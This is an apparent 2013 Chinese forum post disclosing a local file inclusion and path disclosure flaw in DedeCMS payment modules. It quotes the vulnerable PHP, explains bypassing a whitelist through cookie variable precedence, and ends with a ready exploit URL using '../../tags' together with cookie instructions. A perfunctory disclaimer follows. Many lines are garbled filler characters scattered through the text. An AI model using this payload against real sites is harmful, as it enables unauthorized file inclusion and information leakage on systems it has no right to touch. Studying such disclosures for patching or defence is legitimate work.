中国网络渗透测试联盟
标题:
dedecms本地文件包含及物理路径泄露0day
[打印本页]
作者:
admin
时间:
2013-4-4 17:25
标题:
dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
5 z1 u+ R8 v4 D3 ?/ r0 }- E
9 B5 }$ f, ~. k* j* E
出现漏洞的两个文件为:
% B1 v4 m% ~5 C6 ~. b* {$ F9 k ^* C
Include/payment/alipay.php
! Z3 w7 @$ M0 s2 u+ a) I+ e+ l
Include/payment/yeepay.php
1 Y O# y& D% a- b
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
# j5 [) T$ a! g: m/ t
/ A% X: q) ]% P" J
Include/payment/alipay.php
/ m, \" j z, B8 f/ H. Z3 `
* }4 F3 e' T4 ?0 E: M9 Y' ~+ W6 J
......
7 }4 a3 e4 W/ V' J; X* T. w- `
function respond()
& y% N: G! `' ~9 Z2 ] I
{
\/ p) K' P9 i5 O5 I
if (!empty($_POST))
4 ^. q4 U! m0 q
{
6 ~0 E3 p' u1 X9 ]) A
foreach($_POST as $key => $data)
0 m' n; {4 g9 C
{
. ^, W/ _: X. [" m* a
$_GET[$key] = $data;
* m6 f6 x) r/ a( p- R0 i6 }; \
}
/ [/ M6 O) U7 T
}
) C: `8 N' }( G/ K9 q. [
/* 引入配置文件 */
" L8 V1 ~8 [, V8 K; O% M0 Y) M( T
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
) }* {- f9 y, U; ~. Q
......
& i3 d, y' ?8 r4 N0 i5 s( T% T
" W& w) |( N7 b4 i v e) G$ a4 b
# C! w( D2 F% d7 A3 {
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
. s; R; d1 a1 m0 N
% d& Q4 Y; N. J
Include/payment/yeepay.php
& [4 `% W3 G3 P# h! ~3 D
4 W( E3 n# J) \4 i& Y- C5 o1 u) {
% o( C8 Q: X4 P5 ^& R2 b
: m$ Y9 w% i; Z) a, f7 |1 m
......
$ Q j0 c; B" J: k3 A4 b
function respond()
0 {0 l- ^6 S" t3 i& W9 @0 `
{
' K7 f1 D' S5 |6 w( r2 _" m) G' V
( H* M& {7 F+ Y
/* 引入配置文件 */
+ Q& t+ e% \+ @6 s _7 |5 u
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
2 H* r, z1 F5 U7 l. u! Q
) A. C! ]' Z% e4 [' z
$p1_MerId = trim($payment['yp_account']);
5 e" _4 @) a: c# W
$merchantKey = trim($payment['yp_key']);
* f8 U2 ^6 c- a4 d# l# U
......
: t$ U/ [* X% a0 d1 S
0 k( \8 }9 `) r, Q: k- \9 Z% J
5 p$ m8 \' t' f
1 W, K( n3 }. K x! L) t
$ t8 v( h/ h2 t; f& O k
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
- J0 K/ d* _8 G' G
0 L0 _8 y4 ?6 e) t9 {, P
这两个方法在plus/carbuyaction.php文件调用。
: T5 ?8 |1 H9 p, F+ I l2 o& X' f
, x$ a& ]! @7 y8 ]. `
plus/carbuyaction.php
5 Z, c4 ^; L4 d9 v+ B# {
% h* d: F' `1 d8 s
......
6 m2 Y. `4 A0 @ H
} else if ($dopost == 'return') {
+ K4 x* Q: t3 H/ N8 j& T4 r
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
/ u0 _1 U. g) R9 O; w) W6 b
if (in_array($code, $write_list))
) e3 q5 _) b9 o5 c1 I) |
{
3 I0 y5 [3 G9 R
require_once DEDEINC.'/payment/'.$code.'.php';
6 E8 h$ P' |- N) s% h+ r2 ]
$pay = new $code;
3 Y j1 c; E+ \, g( W9 y
$msg=$pay->respond();
' ]* O+ \$ f2 J% p. I6 e( O
ShowMsg($msg, "javascript:;", 0, 3000);
0 [ q. g. b. e# m6 R
exit();
$ u1 [5 G+ I( W' r. N4 Z' a% L
} else {
, r' M7 K1 E; _( N, d
exit('Error:File Type Can\'t Recognized!');
8 ?( p- _# d- P5 A0 u9 A
}
, R W. K N) K; A
}
9 ^5 h3 U5 J# N6 I! I X9 l
......
! u8 v8 K$ I4 u
1 \3 ?$ n* \& J
0 H( e. L, A; [
' U a8 r* O% ?; i4 D
; Y2 n/ U5 F; J" S3 D( L
/ u6 U$ e( Q7 e4 b- ?( x
/ K+ `0 F/ I+ \9 D6 n3 t+ |8 B
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
, P6 a' q4 X( c0 b9 J$ M6 K
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
# r8 o: \; R( a/ W% Z' ^/ n( K5 X
' I( z' B* } e1 D: P) Z7 t+ @& i
回到include/common.inc.php来看看他的机制。
% _6 d1 I" h5 t: X- w7 @, p1 K
; X% q! b* v, v# \' ~. ~3 W2 C4 l
' @9 G6 S. } r/ c/ Y% I
1 l8 w A. T+ f( t3 x+ B% K8 _* y
......
- ^$ [: H, U1 G. |7 `) @, `
foreach(Array('_GET','_POST','_COOKIE') as $_request)
/ P1 n4 ^/ |4 V1 }: E: _
{
8 G5 h; \ ]# g; U k5 T
foreach($$_request as $_k => $_v)
$ T8 {) }8 Q0 N, f: |
{
6 z/ P* x4 L$ D8 q3 u/ `/ J
if($_k == 'nvarname') ${$_k} = $_v;
$ p: i+ d3 Z# I0 S' G
else ${$_k} = _RunMagicQuotes($_v);
8 q2 J3 s/ Z. H5 Y) @; B
}
# _2 ]$ i0 s. d: s
}
1 X& L: L0 |( `! J5 g5 Z
......
5 K; { Z9 R) l' W3 C% J
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:
http://www.php0day.com/plus/carb ... amp;code=../../tags
上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
2 J9 b0 x6 ]! C" ]1 o5 B. b
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2